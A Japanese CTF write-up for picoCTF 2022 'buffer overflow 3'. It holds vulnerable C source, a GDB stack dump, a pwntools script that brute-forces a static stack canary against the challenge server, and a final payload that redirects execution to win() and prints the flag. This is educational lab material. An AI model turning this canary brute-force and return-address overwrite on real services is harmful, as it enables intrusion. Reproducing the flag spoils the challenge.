picoCTF 2022 buffer overflow 3 Writeup

総当たりで canary を特定する

Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. 

# 問題
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/3c69db57-d6de-3525-c9de-73f5da05f59a.png)

# ソース

```c:vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}
```

canaryのサイズは４バイト

# BOF調査

```
   0x80495e1 <main+89>:	call   0x8049461 <vuln>
   0x80495e6 <main+94>:	mov    eax,0x0
```

vuln関数の戻りアドレス　0x80495e6

ローカル環境のcanaryは，メモ帳で作成　0123

```
gdb-peda$ x/60xw $esp
0xffffd4d0:	0x00000000	0xffffd528	0x00000006	0x08049474
0xffffd4e0:	0x0804d160	0x00000006	0x63636336	0x0a636363
0xffffd4f0:	0x00000001	0x00000000	0xf7e57ecb	0xf7fb8000
0xffffd500:	0x0804d160	0xf7fb8000	0xffffd548	0xf7e45b44
0xffffd510:	0x0804d160	0x00000000	0x00000004	0x00000001
0xffffd520:	0xf7fe4f19	0x0804c000	0x0a414141	0x00000000
0xffffd530:	0xffffd578	0xf7feade0	0xf7e45a2b	0x0804c000
0xffffd540:	0xf7fb8000	0x00000000	0xffffd578	0x08049458
0xffffd550:	0x0804d160	0x00000001	0x00000004	0x0804d160
0xffffd560:	0x00000000	0xf7ea0376	0x33323130	0x00000007　<-- canary 0x33323130
0xffffd570:	0x00000000	0x0804c000	0xffffd598	0x080495e6　<-- vuln戻りアドレス 0x080495e6
```

Aの数　4*21

canaryまで 4*16

```
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x8049336 <win>
```

win関数のアドレス

# 普通に攻撃してみる

```
# ./vuln
How Many Bytes will You Write Into the Buffer?
> 88
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x93\x04
***** Stack Smashing Detected ***** : Canary Value Corrupt!
```

BOF で canary を書き換えてしまうと，***** Stack Smashing Detected *****が表示される

# 総当たり攻撃で canary を特定

```python:solver1.py
import pwn
import os
import time

canary = ""
byte = 0x00

def brute():
    global canary
    global byte
    while byte <= 0xff:
        io = pwn.remote("saturn.picoctf.net", 55012)
        #io = pwn.process("./vuln")
        ret = io.readuntil("How Many Bytes will You Write Into the Buffer?\n> ")
        print(ret)
        io.sendline('88')
        ret = io.readuntil("Input> ")
        print(ret)

        io.send("A"*4*16 + canary + chr(byte))
        print("A"*4*16 + canary + chr(byte))

        reply=io.recvall()
        print(reply)
        
        if "***" in reply:
            byte += 1
            #time.sleep(3)
        else:
            canary += chr(byte)
            byte = 0x00
            break

brute()
brute()
brute()
brute()
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
```

このプログラムはローカルでは100発100中だが，ncすると，結果が安定しない。
どうもpicoのサーバーは，高負荷になると動きがあやしい。
また，canary は Instance 毎に異なり，それに気づくまで，非常に苦労した。

成功時の実行結果

```
途中から

Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRT
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 55821
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[+] Opening connection to saturn.picoctf.net on port 55821: Done
How Many Bytes will You Write Into the Buffer?
> 
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRU
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 55821
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[+] Opening connection to saturn.picoctf.net on port 55821: Done
How Many Bytes will You Write Into the Buffer?
> 
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRV
[+] Receiving all data: Done (0B)
[*] Closed connection to saturn.picoctf.net port 55821

Canary: \x42\x69\x52\x56
```

# 最終攻撃

```python:solver2.py
import pwn

io = pwn.remote("saturn.picoctf.net", 55012)
#io = pwn.process("./vuln")

ret = io.readuntil("How Many Bytes will You Write Into the Buffer?\n> ")
print(ret)

io.sendline('88')

ret = io.readuntil("Input> ")
print(ret)


win_addr = 0x8049336 

canary = "BiRd"

#s = b"A" * 4 * 21
s = b"A" * 4 * 16
s += canary
s += b"A" * 4 * 4
s += pwn.p32(win_addr)

print(s)

io.send(s)
io.interactive()
```

結果

```
# python solver2.py
[+] Opening connection to saturn.picoctf.net on port 55012: Done
How Many Bytes will You Write Into the Buffer?
> 
Input> 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAAAAAAAAAAAAAAA6\x93\x04
[*] Switching to interactive mode
Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_f9792127}
[*] Got EOF while reading in interactive
```